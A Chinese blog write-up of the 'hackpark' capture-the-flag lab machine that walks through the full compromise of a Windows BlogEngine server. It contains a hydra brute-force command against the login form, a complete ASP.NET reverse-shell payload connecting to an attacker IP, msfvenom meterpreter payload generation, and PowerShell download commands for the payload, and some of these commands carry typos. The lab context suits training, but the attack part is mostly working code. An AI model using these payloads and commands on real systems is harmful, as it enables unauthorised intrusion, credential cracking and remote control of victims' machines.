【靶机】hackpack

简介: 本靶机有一定难度,适合进阶的小伙伴进行练习,初学者也可以参考学习。

hackpack

信息收集

Google识图:

小丑叫pennywise

┌──(zacarx㉿zacarx)-[~]
└─$ nmap -T4 -A 10.10.0.131
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-22 22:30 CST
Nmap scan report for 10.10.0.131
Host is up (0.33s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT     STATE SERVICE            VERSION
80/tcp   open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: hackpark | hackpark amusements
| http-robots.txt: 6 disallowed entries 
| /Account/*.* /search /search.aspx /error404.aspx 
|_/archive /archive.aspx
|_http-server-header: Microsoft-IIS/8.5
3389/tcp open  ssl/ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: HACKPARK
|   NetBIOS_Domain_Name: HACKPARK
|   NetBIOS_Computer_Name: HACKPARK
|   DNS_Domain_Name: hackpark
|   DNS_Computer_Name: hackpark
|   Product_Version: 6.3.9600
|_  System_Time: 2022-11-22T14:33:12+00:00
| ssl-cert: Subject: commonName=hackpark
| Not valid before: 2022-11-21T14:27:22
|_Not valid after:  2023-05-23T14:27:22
|_ssl-date: 2022-11-22T14:33:20+00:00; 0s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 154.14 seconds
                                                               

image-20221122224009234

image-20221122224319845

attack

爆破神器

hydra -l -P /usr/share/wordlists/ http-post-form

hydra -l admin -P '/usr/share/wordlists/rockyou.txt' 10.10.0.131 http-post-form "/Account/login.aspx?ReturnURL=/admin:__VIEWSTATE=LCLaTYGEYLxbjKKaZYx%2BT%2FOclzbGSOKTFCYmfNf8P0IanNxJxwDsKqJK5nIwt1TynRTD%2FOdM8FL95vDS9avG20JM7VjaSSLtgglOAo%2FHyuC0UO9A%2FacJfC8D%2BVPuDCWt5YdgmZNX5Ri5bHnHwxoeXxdHmo2gRGkvbji1NcKcoxGcn2LZ&__EVENTVALIDATION=0w0yErw7W2ifmWf6d6SF5Nz4ZJGZtbtXnXAR%2BAcDifJTOH%2FUzj0g1jyDAerDFMn24MNE0G8xIsg1UUXykdI9vFuI2728pS0e71r2xbFtk4sQXKWG9r3l%2Fju9cEXoai%2FXDn8F8b6TQ0emte2GLj16enxLcN%2FdSFKn9qJPNElWM%2BPC2Orn&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=%E7%99%BB%E5%BD%95=Log+in:Login failed"

image-20221122230516046

image-20221122230601500

login admin

password 1qaz2wsx

进入后台发现

blogengine 3.3.6 有远程代码执行

原理很简单

应该可以掌握,不多说了

<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>

<script runat="server">
    static System.IO.StreamWriter streamWriter;

    protected override void OnLoad(EventArgs e) {
        base.OnLoad(e);

    using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.10.59.85", 4445)) {
        using(System.IO.Stream stream = client.GetStream()) {
            using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
                streamWriter = new System.IO.StreamWriter(stream);
                        
                StringBuilder strInput = new StringBuilder();

                System.Diagnostics.Process p = new System.Diagnostics.Process();
                p.StartInfo.FileName = "cmd.exe";
                p.StartInfo.CreateNoWindow = true;
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardInput = true;
                p.StartInfo.RedirectStandardError = true;
                p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
                p.Start();
                p.BeginOutputReadLine();

                while(true) {
                    strInput.Append(rdr.ReadLine());
                    p.StandardInput.WriteLine(strInput);
                    strInput.Remove(0, strInput.Length);
                }
            }
        }
        }
    }

    private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
       StringBuilder strOutput = new StringBuilder();

           if (!String.IsNullOrEmpty(outLine.Data)) {
               try {
                    strOutput.Append(outLine.Data);
                        streamWriter.WriteLine(strOutput);
                        streamWriter.Flush();
                } catch (Exception err) { }
        }
    }

</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>

payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.17.0.91 LPOST= 9898 -e x86/shika_ga_nai -f exe -o 1.exe

http服务

python3 -m http.server 8880

powershell -c wget “http://ip/1.exe

GitHub - AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.17.0.91 LPORT=900 -f exe -o openme.exe
powershell -c wget "http://10.17.0.91:9988/openme.exe" -outfile "11.exe"

https://github.com/PowerShellMafia/PowerSploit

这个自己了解,困得不行了,xdm 安安 =-=

PEASS-ng/winPEAS/winPEASbat at master · carlospolop/PEASS-ng · GitHub

目录
相关文章
|
4月前
|
安全 数据安全/隐私保护
01-12/某县政府网被加入下载木马 Trojan.Win32.Pakes 的代码(第2版)
01-12/某县政府网被加入下载木马 Trojan.Win32.Pakes 的代码(第2版)
|
4月前
|
安全
某可人官方网站挂马Trojan-PSW.Win32.OnLineGames.sbg
某可人官方网站挂马Trojan-PSW.Win32.OnLineGames.sbg
|
8月前
Burpsuite系列 -- burp2021.03安装使用
Burpsuite系列 -- burp2021.03安装使用
96 0
|
8月前
|
Java 数据安全/隐私保护 Ruby
Burpsuite系列 -- Compare和Extender
Burpsuite系列 -- Compare和Extender
68 0
|
Java 数据安全/隐私保护 Ruby
Burpsuite系列 -- Compare和Extender
Burpsuite系列 -- Compare和Extender
161 1
Burpsuite系列 -- Compare和Extender
|
存储 数据采集 监控
如何修复 WordPress Pharma Hack
如何修复 WordPress Pharma Hack Pharma Hack是隐藏的。因此,搜索和删除 WordPress Pharma Hack可能是一个漫长而乏味的过程。 北京六翼信息技术有限公司的开发工程给出以下建议:
如何修复 WordPress Pharma Hack
|
安全
pikachu靶场通过秘籍之不安全的URL跳转漏洞攻击
pikachu靶场通过秘籍之不安全的URL跳转漏洞攻击
153 0
|
移动开发 JSON 前端开发
2021Kali系列 -- BurpSuite(XSS插件)
2021Kali系列 -- BurpSuite(XSS插件)
202 0
2021Kali系列 -- BurpSuite(XSS插件)
|
安全 Shell Linux
靶机实战-vuluhub系列-Hack djinn:1 : walkthrough
靶机实战-vuluhub系列-Hack djinn:1 : walkthrough
靶机实战-vuluhub系列-Hack djinn:1 : walkthrough
|
存储 JavaScript 安全
[PiKaChu靶场通关]Cross-Site Scripting XSS漏洞(中)
[PiKaChu靶场通关]Cross-Site Scripting XSS漏洞
249 0
[PiKaChu靶场通关]Cross-Site Scripting XSS漏洞(中)